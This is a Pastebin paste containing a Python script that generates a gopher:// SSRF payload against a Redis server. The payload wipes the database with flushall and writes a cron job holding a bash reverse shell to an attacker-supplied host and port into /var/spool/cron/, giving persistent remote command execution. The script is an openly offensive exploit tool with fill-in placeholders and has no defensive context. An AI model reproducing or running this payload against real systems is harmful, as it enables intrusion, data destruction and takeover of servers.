Advertisement
Guest User

Untitled

a guest
Oct 19th, 2019
93
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.04 KB | None | 0 0
  1. import urllib.parse
  2.  
  3. reverse_host = "<YOUR_REVERSE_HOST>"
  4. reverse_port = "<YOUR_REVERSE_PORT>"
  5.  
  6. protocol = "gopher://"
  7. ip = "<REDIS_HOST>"
  8. port = "<REDIS_PORT>"
  9. shell = "\n\n*/1 * * * * bash -i >& /dev/tcp/{}/{} 0>&1\n\n".format(reverse_host, reverse_port)
  10. path = "/var/spool/cron/"
  11. filename = "<REDIS_SERVICE_USER>"
  12. passwd = ""
  13. cmds = [
  14. "flushall",
  15. "set 1 {}".format(shell.replace(" ","${IFS}")),
  16. "config set dir {}".format(path),
  17. "config set dbfilename {}".format(filename),
  18. "save",
  19. 'quit'
  20. ]
  21.  
  22. if passwd:
  23. cmd.insert(0,"AUTH {}".format(passwd))
  24.  
  25. payload = "{}{}:{}/_".format(protocol, ip, port)
  26.  
  27. def cmd2redis(arr):
  28. CRLF = "\r\n"
  29. redis_arr = arr.split(" ")
  30. cmd = "*" + str(len(redis_arr))
  31. for token in redis_arr:
  32. cmd += CRLF + "$" + str(len(token.replace("${IFS}"," "))) + CRLF + token.replace("${IFS}"," ")
  33. cmd += CRLF
  34. return cmd
  35.  
  36. if __name__=="__main__":
  37. print("=" * 100)
  38. for cmd in cmds:
  39. print(cmd2redis(cmd))
  40. payload += urllib.parse.quote(cmd2redis(cmd))
  41. print("=" * 100)
  42. print(payload)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement